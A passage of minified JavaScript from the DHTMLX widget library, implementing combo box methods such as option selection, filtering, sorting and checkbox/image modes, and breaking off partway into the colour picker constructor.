c=0;c<this.list.childNodes.length;c++){a.apply(window,[this._getOption(this.list.childNodes[c]._optId,c)])}};dhtmlXCombo.prototype.setFocus=function(){if(this.conf.enabled){this.base.firstChild.focus()}};dhtmlXCombo.prototype.setFontSize=function(a,c){if(a!=null){this.base.firstChild.style.fontSize=a}if(c!=null){this.list.style.fontSize=c}};dhtmlXCombo.prototype.getOption=function(h){var l=null;var e=null;for(var g=0;g<this.list.childNodes.length;g++){if(l==null){var c=this.list.childNodes[g]._optId;if(this.t[c].obj.getValue(this.t[c].item)==h){l=c;e=g}}}return(l==null?null:this._getOption(l,e))};dhtmlXCombo.prototype.getOptionByIndex=function(a){if(a<0){return null}if(this.list.childNodes[a]==null){return null}return this._getOption(this.list.childNodes[a]._optId,a)};dhtmlXCombo.prototype.getOptionByLabel=function(h){var l=null;var e=null;for(var g=0;g<this.list.childNodes.length;g++){if(l==null){var c=this.list.childNodes[g]._optId;if(this.t[c].obj.getText(this.t[c].item,true)==h){l=c;e=g}}}return(l==null?null:this._getOption(l,e))};dhtmlXCombo.prototype.getSelectedIndex=function(){return this._getOptionProp(this.conf.last_selected,\"index\",-1)};dhtmlXCombo.prototype.getSelectedText=function(){return this._getOptionProp(this.conf.last_selected,\"text\",\"\")};dhtmlXCombo.prototype.getSelectedValue=function(){return this._getOptionProp(this.conf.last_selected,\"value\",null)};dhtmlXCombo.prototype.getActualValue=function(){return this.base.childNodes[1].value};dhtmlXCombo.prototype.getComboText=function(){return this.base.childNodes[0].value};dhtmlXCombo.prototype.getIndexByValue=function(c){var a=this.getOption(c);return(a!=null?a.index:-1)};dhtmlXCombo.prototype.setComboText=function(a){if(this.conf.allow_free_text!=true){return}this.unSelectOption();this.conf.last_text=this.base.firstChild.value=a;this.conf.f_server_last=this.base.firstChild.value.toLowerCase()};dhtmlXCombo.prototype.setComboValue=function(c){var a=this.getOption(c);if(a!=null){this.selectOption(a.index)}else{this.conf.last_value=c;this.base.childNodes[1].value=this.conf.last_value;this.base.childNodes[2].value=\"true\"}};dhtmlXCombo.prototype.selectOption=function(c,e,a){if(c<0||c>=this.list.childNodes.length){return}var g=this.list.childNodes[c]._optId;this._setSelected(g,this._isListVisible(),true);this._confirmSelect(\"script\")};dhtmlXCombo.prototype.unSelectOption=function(){if(this.conf.last_hover!=null){this.t[this.conf.last_hover].obj.setSelected(this.t[this.conf.last_hover].item,false);this.conf.last_hover=null}this.base.firstChild.value=\"\";if(this.conf.f_mode!=false){this._filterOpts(true)}this._hideList();this._updateTopImage(null);this._confirmSelect(\"script\")};dhtmlXCombo.prototype.confirmValue=function(){this._confirmSelect(\"script\")};dhtmlXCombo.prototype.enable=function(a){a=(typeof(a)==\"undefined\"?true:window.dhx4.s2b(a));if(this.conf.enabled==a){return}this.conf.enabled=a;if(a){this.base.className=\"dhxcombo_\"+this.conf.skin;this.base.firstChild.removeAttribute(\"disabled\")}else{this._hideList();this.base.className=\"dhxcombo_\"+this.conf.skin+\" dhxcombo_disabled\";this.base.firstChild.setAttribute(\"disabled\",\"true\")}this._updateTopImage(this.conf.last_selected)};dhtmlXCombo.prototype.disable=function(a){a=(typeof(a)==\"undefined\"?true:window.dhx4.s2b(a));this.enable(!a)};dhtmlXCombo.prototype.isEnabled=function(){return(this.conf.enabled==true)};dhtmlXCombo.prototype.show=function(a){if(typeof(a)==\"undefined\"){a=true}else{a=window.dhx4.s2b(a)}this.base.style.display=(a==true?\"\":\"none\")};dhtmlXCombo.prototype.hide=function(a){if(typeof(a)==\"undefined\"){a=true}this.show(!a)};dhtmlXCombo.prototype.isVisible=function(){return(this.base.style.display==\"\")};dhtmlXCombo.prototype.setFilterHandler=function(a){if(typeof(a)==\"function\"){this.conf.f_func=a;this.conf.f_mode=true;this.conf.f_dyn=this.conf.f_cache=this.conf.f_url=null}else{if(typeof(a)==\"string\"&&typeof(window[a])==\"function\"){this.conf.f_func=window[a];this.conf.f_mode=true;this.conf.f_dyn=this.conf.f_cache=this.conf.f_url=null}else{this.conf.f_func=null}}};dhtmlXCombo.prototype.enableFilteringMode=function(g,c,a,e){if(g==true||g==\"between\"){this.conf.f_mode=(g==true?\"start\":\"between\");if(c!=null){this.conf.f_url=c;this.conf.f_cache=window.dhx4.s2b(a);this.conf.f_dyn=window.dhx4.s2b(e)}else{this.conf.f_url=null;this.conf.f_cache=false;this.conf.f_dyn=false}}else{this.conf.f_mode=false;this.conf.f_url=null;this.conf.f_cache=false;this.conf.f_dyn=false}};dhtmlXCombo.prototype.filter=function(e,a){for(var g=0;g<this.list.childNodes.length;g++){var c=e.apply(window,[this._getOption(this.list.childNodes[g]._optId,g)]);this.list.childNodes[g].style.display=(c===true?\"\":\"none\")}if(typeof(a)==\"undefined\"||a==true){this._showList(true)}};dhtmlXCombo.prototype.sort=function(e){var a=[];for(var c=0;c<this.list.childNodes.length;c++){var g=this.list.childNodes[c]._optId;a.push([g,this._getOption(g,c)])}if(e==\"asc\"||e==\"desc\"){k=true;a.sort(function(l,h){l=l[1].text_option.toLowerCase();h=h[1].text_option.toLowerCase();var m=(e==\"asc\"?1:-1);return(l>h?m:-1*m)})}else{if(typeof(e)==\"function\"||typeof(window[e])==\"function\"){if(typeof(window[e])==\"function\"){e=window[e]}a.sort(function(l,h){return e.apply(window,[l[1],h[1]])})}}while(this.list.childNodes.length>0){this.list.removeChild(this.list.lastChild)}for(var c=0;c<a.length;c++){this.list.appendChild(this.t[a[c][0]].item)}};dhtmlXCombo.prototype.enableAutocomplete=function(a){if(typeof(a)==\"undefined\"){a=true}else{a=window.dhx4.s2b(a)}this.conf.f_ac=a};dhtmlXCombo.prototype.disableAutocomplete=function(a){if(typeof(a)==\"undefined\"){a=true}else{a=window.dhx4.s2b(a)}this.enableAutocomplete(!a)};dhtmlXCombo.prototype.allowFreeText=function(a){this.conf.allow_free_text=(typeof(a)==\"undefined\"?true:window.dhx4.s2b(a))};dhtmlXCombo.prototype._checkForMatch=function(g){var a=window.dhx4.trim(this.base.firstChild.value).toLowerCase();var h=null;var c=this.list.firstChild;while(c!=null){if(c.style.display==\"\"&&c._optId!=null){var e=window.dhx4.trim(this.t[c._optId].obj.getText(c,true)).toLowerCase();if(a==e){h=c._optId;c=null}}if(c!=null){c=c.nextSibling}}if(this.conf.last_match==null){if(h!=null){this._setSelected(h,true,true);this.conf.last_match=h}else{if(this.conf.f_mode!=\"between\"||g==true){this._setSelected(null,true,true);this.conf.last_match=null}}}else{if(h!=null){if(h!=this.conf.last_match){this._setSelected(h,true,true);this.conf.last_match=h}}else{this._setSelected(null,true,true);this.conf.last_match=null}}};dhtmlXCombo.prototype._selectRange=function(c,a){if(this.conf.combo_focus==true){window.dhx4.selectTextRange(this.base.firstChild,c,a)}};dhtmlXCombo.prototype.openSelect=function(){if(!this._isListVisible()){this._showList()}};dhtmlXCombo.prototype.closeAll=function(){this._hideList()};dhtmlXCombo.prototype._showList=function(a){if(this._getListVisibleCount()==0){if(a&&this._isListVisible()){this._hideList()}return}if(this._isListVisible()){this._checkListHeight();return}this.list.style.zIndex=window.dhx4.zim.reserve(this.conf.list_zi_id);if(this.hdr!=null){this.hdr.style.zIndex=Number(this.list.style.zIndex)+1}this.list.style.visibility=\"hidden\";this.list.style.display=\"\";if(this.hdr!=null){this.hdr.style.visibility=this.list.style.visibility;this.hdr.style.display=this.list.style.display}var c=(this.hdr!=null?this.hdr.offsetHeight:0);this.list.style.width=Math.max(this.conf.opts_width||this.conf.col_w||0,this.conf.combo_width)+\"px\";this.list.style.top=window.dhx4.absTop(this.base)+c+this.base.offsetHeight-1+\"px\";this.list.style.left=window.dhx4.absLeft(this.base)+\"px\";if(this.hdr!=null){this.hdr.style.width=this.list.style.width;this.hdr.style.left=this.list.style.left;this.hdr.style.top=parseInt(this.list.style.top)-c+\"px\"}this._checkListHeight();this.list.style.visibility=\"visible\";if(this.hdr!=null){this.hdr.style.visibility=\"visible\"}this.callEvent(\"onOpen\",[])};dhtmlXCombo.prototype._hideList=function(){if(!this._isListVisible()){return}window.dhx4.zim.clear(this.conf.list_zi_id);this.list.style.display=\"none\";if(this.hdr!=null){this.hdr.style.display=\"none\"}this.conf.clear_click=false;this.callEvent(\"onClose\",[])};dhtmlXCombo.prototype._isListVisible=function(){return(this.list.style.display==\"\")};dhtmlXCombo.prototype._getListVisibleCount=function(){var a=0;for(var c=0;c<this.list.childNodes.length;c++){a+=(this.list.childNodes[c].style.display==\"\"?1:0)}return a};dhtmlXCombo.prototype._checkListHeight=function(){if(!this._isListVisible()){return}if(this.conf.item_h==null){var q=this.list.firstChild;while(q!=null){if(q.style.display==\"\"){this.conf.item_h=q.offsetHeight+(this.hdr!=null?-1:0);q=null}else{q=q.nextSibling}}q=null}var r=window.dhx4.screenDim();var m=window.dhx4.absTop(this.base);var c=this.base.offsetHeight;var a=(this.hdr!=null?this.hdr.offsetHeight:0);var e=Math.max(0,Math.floor((m+a-r.top)/this.conf.item_h));var o=Math.max(0,Math.floor((r.bottom-(m+c+a))/this.conf.item_h));var u=this._getListVisibleCount();if(o<Math.min(this.conf.opts_count_min,u)&&e>o){o=null}var n=Math.min((o==null?e:o),this.conf.opts_count,u);var g=(n<u?(n*this.conf.item_h)+\"px\":\"\");var l=this.conf.sp[this.conf.skin][this.hdr!=null?\"hdr_ofs\":\"list_ofs\"];this.list.style.height=g;this.list.style.top=(o==null?m-this.list.offsetHeight+l:m+c+a-l)+\"px\";if(this.hdr!=null){this.hdr.style.top=(o==null?m-a-this.list.offsetHeight+l:m+c-l)+\"px\"}};dhtmlXCombo.prototype._scrollToItem=function(h){var g=this.t[h].item.offsetTop;var e=g+this.t[h].item.offsetHeight;var c=this.list.scrollTop;var a=c+this.list.clientHeight;if(g<c){this.list.scrollTop=g+(this.hdr!=null?1:0)}else{if(e>a){this.list.scrollTop=e-this.list.clientHeight+(this.hdr!=null?-this.conf.sp[this.conf.skin].scr_ofs:0)}}};dhtmlXCombo.prototype._setSelected=function(e,c,a){if(a){this._updateTopImage(e)}if(e!=null&&this.conf.last_hover==e){if(c){this._scrollToItem(e)}return}if(this.conf.last_hover!=null){this.t[this.conf.last_hover].obj.setSelected(this.t[this.conf.last_hover].item,false);this.conf.last_hover=null;if(e==null){this.callEvent(\"onSelectionChange\",[])}}if(e!=null){this.t[e].obj.setSelected(this.t[e].item,true);this.conf.last_hover=e;this.callEvent(\"onSelectionChange\",[]);if(this.conf.s_mode==\"select\"&&this.t[e].item==this.t[e].item.parentNode.lastChild){this._subloadRequest()}if(c){this._scrollToItem(e)}}};dhtmlXCombo.prototype._subloadRequest=function(){if(this.conf.f_url!=null&&this.conf.f_dyn==true&&this.conf.f_dyn_end==false){var e=\"mask=\"+encodeURIComponent(this.conf.f_mask)+\"&pos=\"+this.list.childNodes.length;var a=this;var c=function(h){if(a.conf.f_cache){a.conf.f_cache_data[a.conf.f_mask].data.push(h.xmlDoc.responseXML)}var g=a.list.childNodes.length;a.conf.f_loading=true;a.load(h.xmlDoc.responseXML);a.conf.f_loading=false;if(g==a.list.childNodes.length){a.conf.f_dyn_end=true;if(a.conf.f_cache){a.conf.f_cache_data[a.conf.f_mask].dyn_end=true}}c=a=null};if(window.dhx4.ajax.method==\"post\"){window.dhx4.ajax.post(this.conf.f_url,e,c)}else{if(window.dhx4.ajax.method==\"get\"){window.dhx4.ajax.get(this.conf.f_url+(String(this.conf.f_url).indexOf(\"?\")>=0?\"&\":\"?\")+e,c)}}}};dhtmlXCombo.prototype.addOption=function(l,m,c,a,g){var e=null;if(!(l instanceof Array)){var n=this._renderOption({value:l,text:m,css:c,img:a});if(e==null&&window.dhx4.s2b(g)==true){e=n}}else{for(var h=0;h<l.length;h++){if(typeof(l[h])==\"undefined\"){continue}if(l[h] instanceof Array){n=this._renderOption({value:l[h][0],text:l[h][1],css:l[h][2],img:l[h][3]});if(e==null&&window.dhx4.s2b(l[h][4])==true){e=n}}else{var n=this._renderOption(l[h]);if(e==null&&window.dhx4.s2b(l[h].selected)==true){e=n}}}}if(e!=null){this._setSelected(e,this._isListVisible(),true);this._confirmSelect(\"onInit\")}};dhtmlXCombo.prototype.updateOption=function(a,e,c,g){var h=this._getOptionId(a);if(h==null){return}this.t[h].obj.update(this.t[h].item,{value:e,text:c,css:g});if(this.conf.last_selected==h){this.conf.last_text=this.base.firstChild.value=this.t[h].obj.getText(this.t[h].item,true);this.conf.f_server_last=this.base.firstChild.value.toLowerCase()}};dhtmlXCombo.prototype.deleteOption=function(g){for(var c in this.t){var e=this.t[c].obj.getValue(this.t[c].item);if(e==g){this._removeOption(c)}}if(this._isListVisible()){this._showList(true)}};dhtmlXCombo.prototype.clearAll=function(c){c=(typeof(c)==\"undefined\"?true:window.dhx4.s2b(c));for(var e in this.t){this._removeOption(e)}if(this.conf.tm_hover){window.clearTimeout(this.conf.tm_hover)}this.conf.last_hover=null;this.conf.last_selected=null;this.list.scrollTop=0;if(c==true){this._hideList()}};dhtmlXCombo.prototype._renderOption=function(g){var h=window.dhx4.newId();var e=document.createElement(\"DIV\");e._optId=h;e._tpl=this.conf.template;if(typeof(g.img)==\"undefined\"&&typeof(g.img_src)!=\"undefined\"){g.img=g.img_src;delete g.img_src}if(typeof(g.img_dis)==\"undefined\"&&typeof(g.img_src_dis)!=\"undefined\"){g.img_dis=g.img_src_dis;delete g.img_src_dis}g.img_path=this.conf.img_path;g.img_def=this.conf.img_def;g.img_def_dis=this.conf.img_def_dis;this.list.appendChild(e);var c=(this._isListVisible()&&window.dhx4.isFF==true);if(c==true){var a=this.list.scrollTop;this.list.scrollTop-=1}if(this.hdr!=null){g.multicol=true}this.t[e._optId]={obj:this.modes[this.conf.opts_type].render(e,g),item:e,conf:{type:this.conf.opts_type}};e=null;if(c==true){this.list.scrollTop+=1}return h};dhtmlXCombo.prototype._removeOption=function(a){this.t[a].obj.destruct(this.t[a].item);this.t[a].obj=null;this.t[a].item.parentNode.removeChild(this.t[a].item);this.t[a].item=null;this.t[a].conf=null;this.t[a]=null;delete this.t[a];if(this.conf.last_hover==a){this.conf.last_hover=null}if(this.conf.last_selected==a){this.conf.last_selected=null;this._confirmSelect(\"onDelete\")}};dhtmlXCombo.prototype._confirmSelect=function(e,a){var c=false;if(typeof(a)==\"undefined\"){a=true}if(this.conf.f_server_tm){window.clearTimeout(this.conf.f_server_tm)}if(this.conf.last_hover!=null){c=c||(this.conf.last_value!=this._getOptionValue(this.conf.last_hover));this.conf.last_match=this.conf.last_selected=this.conf.last_hover;this.conf.last_value=this._getOptionValue(this.conf.last_selected);this.conf.last_text=this.base.firstChild.value=this.t[this.conf.last_selected].obj.getText(this.t[this.conf.last_selected].item,true);this.conf.f_server_last=this.base.firstChild.value.toLowerCase();this.base.childNodes[1].value=this.conf.last_value;this.base.childNodes[2].value=\"false\"}else{if(this.conf.allow_free_text||(this.base.firstChild.value==\"\"&&this.conf.allow_empty_value)){c=c||(this.conf.last_text!=this.base.firstChild.value);this.conf.last_match=this.conf.last_value=this.conf.last_selected=null;this.conf.last_text=this.base.firstChild.value;this.conf.f_server_last=this.base.firstChild.value.toLowerCase();this.base.childNodes[1].value=this.conf.last_text;this.base.childNodes[2].value=\"true\"}else{this._cancelSelect();this._updateTopImage(this.conf.last_selected);return}}if(this.conf.f_ac&&this.conf.f_mode==\"start\"){this.conf.f_ac_text=\"\";if(e!=\"blur\"){this._selectRange(this.base.firstChild.value.length,this.base.firstChild.value.length)}}if(a){this._hideList()}if(c==true&&e!=\"onInit\"&&e!=\"onDelete\"){this.callEvent(\"onChange\",[this.conf.last_value,this.conf.last_text])}};dhtmlXCombo.prototype._cancelSelect=function(){this._hideList();this.base.firstChild.value=this.conf.last_text;if(this.conf.f_mode!=false){this._filterOpts(true)}};dhtmlXCombo.prototype._getOption=function(m,g){if(!this.t[m]){return null}if(typeof(g)==\"undefined\"){g=-1}if(g<0){for(var l=0;l<this.list.childNodes.length;l++){if(g<0&&this.list.childNodes[l]._optId==m){g=l}}}var h={value:this.t[m].obj.getValue(this.t[m].item),text:this.t[m].obj.getText(this.t[m].item),text_input:this.t[m].obj.getText(this.t[m].item,true),text_option:this.t[m].obj.getText(this.t[m].item,null,true),css:this.t[m].obj.getCss(this.t[m].item),selected:(m==this.conf.last_selected),index:g};if(typeof(this.t[m].obj.getExtraData)==\"function\"){var e=this.t[m].obj.getExtraData(this.t[m].item);for(var c in e){if(typeof(h[c])==\"undefined\"){h[c]=e[c]}}}return h};dhtmlXCombo.prototype._getOptionProp=function(g,e,c){if(g!=null){var a=this._getOption(g);if(a!=null){return a[e]}}return c};dhtmlXCombo.prototype._getOptionId=function(c){var g=null;for(var a=0;a<this.list.childNodes.length;a++){if(g==null){var e=this.list.childNodes[a]._optId;if(c==this.t[e].obj.getValue(this.t[e].item)){g=e}}}return g};dhtmlXCombo.prototype._getOptionValue=function(a){return this._getOptionProp(a,\"value\",null)};dhtmlXCombo.prototype.setSize=function(a){this.conf.combo_width=parseInt(a)-(dhx4.isFF||dhx4.isIE||dhx4.isChrome||dhx4.isOpera?2:0);this.base.style.width=Math.max(0,this.conf.combo_width)+\"px\";this._adjustBase()};dhtmlXCombo.prototype._adjustBase=function(){this.base.firstChild.style.width=Math.max(0,(this.conf.combo_width-24-(this.conf.combo_image?23:0)))+\"px\";this.base.firstChild.style.marginLeft=(this.conf.combo_image?\"23px\":\"0px\")};dhtmlXCombo.prototype.setOptionWidth=function(a){this.conf.opts_width=(parseInt(a)||null)};dhtmlXCombo.prototype.setOptionIndex=function(e,a){if(isNaN(a)||a<0){return}var g=this.getOption(e);if(g==null){return}if(a==g.index){return}var c=this.list.childNodes[g.index];c.parentNode.removeChild(c);if(this.list.childNodes[a]!=null){this.list.insertBefore(c,this.list.childNodes[a])}else{this.list.appendChild(c)}c=null};dhtmlXCombo.prototype.getOptionsCount=function(){return this.list.childNodes.length};dhtmlXCombo.prototype._mcMakeTemplate=function(o){var l=\"\";var g=\"\";this.conf.col_w=0;for(var m=0;m<o.length;m++){var a=Number(parseInt(o[m].width)||50);var e=(o[m].css||\"\");var n=(m==0&&window.dhx4.isIE6==true?\"_first\":\"\");g+=\"<div class='dhxcombo_cell\"+n+\" \"+e+\"' style='width:\"+a+\"px;'><div class='dhxcombo_cell_text'>\"+(o[m].option||\"&nbsp;\")+\"</div></div>\";l+=\"<div class='dhxcombo_hdrcell\"+n+\" \"+e+\"' style='width:\"+a+\"px;'><div class='dhxcombo_hdrcell_text'>\"+(o[m].header||\"&nbsp;\")+\"</div></div>\";this.conf.col_w+=a+1}var a=500;var c=document.createElement(\"DIV\");c.style.position=\"absolute\";c.style.top=\"10px\";c.style.left=-a*2+\"px\";c.style.width=a+\"px\";c.style.height=\"50px\";c.style.overflowY=\"scroll\";c.innerHTML=\"<div>&nbsp;</div>\";document.body.appendChild(c);this.conf.col_w+=a-c.firstChild.offsetWidth+10;c.parentNode.removeChild(c);c=null;this.conf.template.option=g;this._mcAttachHeader(l);this.list.className+=\" dhxcombolist_multicolumn\"};dhtmlXCombo.prototype._mcAttachHeader=function(a){if(this.hdr==null){this.hdr=document.createElement(\"DIV\");this.hdr.className=\"dhxcombolist_\"+this.conf.skin+\" dhxcombolist_hdr\";this.hdr.style.display=\"none\";this.list.parentNode.insertBefore(this.hdr,this.list);if(typeof(window.addEventListener)==\"function\"){this.hdr.addEventListener(\"mousedown\",this._doOnListMouseDown,false)}else{this.hdr.attachEvent(\"onmousedown\",this._doOnListMouseDown)}if(this.conf.opts_type==\"checkbox\"&&this.conf.combo_image==true){this.conf.combo_image=false;if(this.base.lastChild.className.match(/dhxcombo_top_image/)!=null){this.base.removeChild(this.base.lastChild)}this._adjustBase()}}this.hdr.innerHTML=\"<div class='dhxcombo_hdrtext'>\"+a+\"</div>\"};dhtmlXCombo.prototype._mcDetachHeader=function(){if(this.hdr!=null){if(typeof(window.addEventListener)==\"function\"){this.hdr.removeEventListener(\"mousedown\",this._doOnListMouseDown,false)}else{this.hdr.detachEvent(\"onmousedown\",this._doOnListMouseDown)}this.hdr.parentNode.removeChild(this.hdr);this.hdr=null}this.conf.col_w=null;this.conf.item_h=null};dhtmlXCombo.prototype.modes={};dhtmlXCombo.prototype.doWithItem=function(a,m,h,e){var l=(a>=0&&a<this.list.childNodes.length?this.list.childNodes[a]._optId:null);if(l==null){return null}if(typeof(this.t[l].obj[m])!=\"function\"){return null}var g=[this.t[l].item];for(var c=2;c<arguments.length;c++){g.push(arguments[c])}return this.t[l].obj[m].apply(this.t[l].obj,g)};function dhtmlXComboExtend(g,e){for(var c in dhtmlXCombo.prototype.modes[e]){if(typeof(dhtmlXCombo.prototype.modes[g][c])==\"undefined\"){dhtmlXCombo.prototype.modes[g][c]=dhtmlXCombo.prototype.modes[e][c]}}}dhtmlXCombo.prototype.modes.option={image:false,option_css:\"dhxcombo_option_text\",render:function(a,c){a._conf={value:c.value,css:\"\"};a.className=\"dhxcombo_option\";a.innerHTML=\"<div class='\"+this.option_css+\"'>&nbsp;</div>\";if(c.css!=null){a.lastChild.style.cssText=c.css;a._conf.css=c.css}this.setText(a,c.text);return this},destruct:function(a){a._conf=null},update:function(a,c){a._conf.value=c.value;a._conf.css=c.css;a.lastChild.style.cssText=c.css;this.setText(a,c.text)},setText:function(c,e){c._conf.text=e;var a=(typeof(e)==\"object\"?window.dhx4.template(c._tpl.option,c._conf.text,true):window.dhx4.trim(c._conf.text||\"\"));c.lastChild.innerHTML=(a.length==0?\"&nbsp;\":a)},getText:function(e,a,c){if(window.dhx4.s2b(a)&&typeof(e._conf.text)==\"object\"){return window.dhx4.template(e._tpl.input,e._conf.text,true)}if(window.dhx4.s2b(c)&&typeof(e._conf.text)==\"object\"){return window.dhx4.template(e._tpl.option,e._conf.text,true)}return e._conf.text},getValue:function(a){return a._conf.value},getCss:function(a){return a._conf.css},setSelected:function(a,c){a.className=\"dhxcombo_option\"+(c?\" dhxcombo_option_selected\":\"\")},isSelected:function(a){return String(a.className).indexOf(\"dhxcombo_option_selected\")>=0},getExtraData:function(a){return{type:\"option\"}}};dhtmlXCombo.prototype.modes.checkbox={image:true,image_css:\"dhxcombo_checkbox dhxcombo_chbx_#state#\",option_css:\"dhxcombo_option_text dhxcombo_option_text_chbx\",render:function(a,c){if(this.image_css_regexp==null){this.image_css_regexp=new RegExp(this.image_css.replace(\"#state#\",\"\\\\d*\"))}a._conf={value:c.value,css:\"\",checked:window.dhx4.s2b(c.checked)};a.className=\"dhxcombo_option\";if(c.multicol==true){c.text.checkbox=\"<div class='\"+String(this.image_css).replace(\"#state#\",(a._conf.checked?\"1\":\"0\"))+\"'></div>&nbsp;\";a.innerHTML=\"<div class='\"+dhtmlXCombo.prototype.modes.option.option_css+\"'></div>\"}else{a.innerHTML=\"<div class='\"+String(this.image_css).replace(\"#state#\",(a._conf.checked?\"1\":\"0\"))+\"'></div><div class='\"+this.option_css+\"'>&nbsp;</div>\"}if(c.css!=null){a.lastChild.style.cssText+=c.css;a._conf.css=c.css}this.setText(a,c.text);return this},setChecked:function(c,e){c._conf.checked=window.dhx4.s2b(e);var a=String(this.image_css).replace(\"#state#\",(c._conf.checked?\"1\":\"0\"));this._changeChbxCss(c.childNodes,a)},_changeChbxCss:function(a,c){for(var e=0;e<a.length;e++){if(a[e].tagName!=null&&a[e].className!=null&&a[e].className.match(this.image_css_regexp)!=null){a[e].className=c}else{if(a[e].childNodes.length>0){this._changeChbxCss(a[e].childNodes,c)}}}},isChecked:function(a){return(a._conf.checked==true)},getExtraData:function(a){return{type:\"checkbox\",checked:a._conf.checked}},optionClick:function(h,g,l){var e=true;var c=(g.target||g.srcElement);while(e==true&&c!=null&&c!=h&&c.className!=null){if(c.className.match(this.image_css_regexp)!=null){var a=[h._conf.value,!h._conf.checked];if(l.callEvent(\"onBeforeCheck\",a)===true){this.setChecked(h,!this.isChecked(h));l.callEvent(\"onCheck\",a)}e=false;a=null}else{c=c.parentNode}}c=l=h=null;return e},getTopImage:function(c,a){return\"\"},topImageClick:function(a,c){return true}};dhtmlXComboExtend(\"checkbox\",\"option\");dhtmlXCombo.prototype.setChecked=function(a,c){this.doWithItem(a,\"setChecked\",c)};dhtmlXCombo.prototype.getChecked=function(a){var c=[];for(var e=0;e<this.list.childNodes.length;e++){if(this.isChecked(e)){c.push(this._getOptionProp(this.list.childNodes[e]._optId,\"value\",\"\"))}}return c};dhtmlXCombo.prototype.isChecked=function(a){return this.doWithItem(a,\"isChecked\")};dhtmlXCombo.prototype.modes.image={image:true,image_css:\"dhxcombo_image\",option_css:\"dhxcombo_option_text dhxcombo_option_text_image\",render:function(a,c){a._conf={value:c.value,css:\"\"};a.className=\"dhxcombo_option\";a.innerHTML=\"<div class='\"+this.image_css+\"'></div><div class='\"+this.option_css+\"'>&nbsp;</div>\";if(c.css!=null){a.lastChild.style.cssText+=c.css;a._conf.css=c.css}this.setText(a,c.text);this.setImage(a,c.img,c.img_dis,c.img_path,c.img_def,c.img_def_dis);return this},update:function(a,c){a._conf.value=c.value;a._conf.css=c.css;a.lastChild.style.cssText=c.css;this.setText(a,c.text);this.setImage(a,c.img,c.img_dis,c.img_path,c.img_def,c.img_def_dis)},setImage:function(e,a,h,l,g,c){if(a!=null&&a.length>0){a=l+a}else{if(g!=null&&g.length>0){a=l+g}else{a=null}}if(h!=null&&h.length>0){h=l+h}else{if(c!=null&&c.length>0){h=l+c}else{if(c==true){h=a}else{h=null}}}e._conf.img=a;e._conf.img_dis=h;e.firstChild.style.backgroundImage=(a!=null?\"url(\"+a+\")\":\"none\")},getExtraData:function(a){return{type:\"image\"}},getTopImage:function(g,e){var c=(e?\"img\":\"img_dis\");if(g!=null&&g._conf[c]!=null){return\"<div class='\"+this.image_css+\"' style='background-image:url(\"+g._conf[c]+\");'></div>\"}return\"\"}};dhtmlXComboExtend(\"image\",\"option\");dhtmlXCombo.prototype.setDefaultImage=function(a,c){if(a!=null){this.conf.img_def=a}if(c!=null){this.conf.img_def_dis=c}};dhtmlXCombo.prototype.setImagePath=function(a){this.conf.img_path=a};function dhtmlXColorPicker(n){if(!(this instanceof dhtmlXColorPicker)){return new dhtmlXColorPicker(n)}dhx4._eventable(this);var h=this,g=undefined,m=null,e,a,c;this._nodes=[];this.activeNode=null;this._inputListenerId=null;this.base=null;this._globalNode=null;this.memory=null;this.skin=null;this.conf={cp_id:dhx4.newId(),x:0,y:0,c:0,indent:2,position:\"right\",customColors:false,selectedColor:null,hide:false,hideOnSelect:false,lang:\"en\",closeable:true};this.value={red:-1,blue:-1,green:-1,hue:-1,sat:-1,lum:-1};this._initMoveSelection=function(l){l=l||event;if(typeof(window.addEventListener)==\"function\"){h._controllerNodes.colorArea.addEventListener(\"mousemove\",h._setMoveSelection,false);document.body.addEventListener(\"mouseup\",h._cleanMoveSelection,false)}else{h._controllerNodes.colorArea.attachEvent(\"onmousemove\",h._setMoveSelection);document.body.attachEvent(\"onmouseup\",h._cleanMoveSelection)}h._setMoveSelection(l,h._controllerNodes.colorArea);return false};this._cleanMoveSelection=function(){if(typeof(window.removeEventListener)==\"function\"){h._controllerNodes.colorArea.removeEventListener(\"mousemove\",h._setMoveSelection,false);document.body.removeEventListener(\"mouseup\",h._cleanMoveSelection,false)}else{h._controllerNodes.colorArea.detachEvent(\"onmousemove\",h._setMoveSelection);document.body.detachEvent(\"onmouseup\",h._cleanMoveSelection)}return false};this._setMoveSelection=function(l){l=l||event;var o=h._getOffsetPosition(l,h._controllerNodes.colorArea);if(h._controllerNodes.fr_cover){setTimeout(function(){h._setColorAreaXY(o.x,o.y);h._setColorByXYC()},0)}else{h._setColorAreaXY(o.x,o.y);h._setColorByXYC()}return false};this._initMoveContrast=function(l){l=l||event;if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"mousemove\",h._setMoveContrast,false);document.body.addEventListener(\"mouseup\",h._cleanMoveContrast,false)}else{document.body.attachEvent(\"onmousemove\",h._setMoveContrast);document.body.attachEvent(\"onmouseup\",h._cleanMoveContrast)}h._setMoveContrast(l,h._controllerNodes.contrastArea)};this._cleanMoveContrast=function(){if(typeof(window.removeEventListener)==\"function\"){document.body.removeEventListener(\"mousemove\",h._setMoveContrast,false);document.body.removeEventListener(\"mouseup\",h._cleanMoveContrast,false)}else{document.body.detachEvent(\"onmousemove\",h._setMoveContrast);document.body.detachEvent(\"onmouseup\",h._cleanMoveContrast)}};this._setMoveContrast=function(l){l=l||event;var o=h._getOffsetPosition(l,h._controllerNodes.contrastArea);h._setContrastY(o.y);h._setColorByXYC(true)};this._doOnSelectColor=function(){var l=h.colorAIP.rgb2hex({r:h.value.red,g:h.value.green,b:h.value.blue});if(h.activeNode!=null){if(h.activeNode.valueCont){h.activeNode.valueCont.value=l}if(h.activeNode.valueColor){h.activeNode.valueColor.style.backgroundColor=l}}if(h.base._dhx_remove||h.conf.hideOnSelect){h.hide()}h.callEvent(\"onSelect\",[l,((h.activeNode)?h.activeNode.node:null)])};this._doOnCancel=function(){if(h.callEvent(\"onCancel\",[((h.activeNode)?h.activeNode.node:null)])==true&&h.conf.closeable==true){h.hide()}};this._doOnFocusByInput=function(){var o=(this!=window)?this:event.srcElement;var l=(h.activeNode&&h.activeNode.valueCont&&h.activeNode.valueCont==o)?h.activeNode:h._getNodeByValueCont(o);h.activeNode=l;if(l&&l==h.activeNode){h._initListenerInput()}};this._doOnBlurByInput=function(){var o=(this!=window)?this:event.srcElement;var l=(h.activeNode&&h.activeNode.valueCont&&h.activeNode.valueCont==o)?h.activeNode:h._getNodeByValueCont(o);if(l&&l==h.activeNode){h._removeListenerInput()}};this._doOnClickByNode=function(o){o=o||event;var 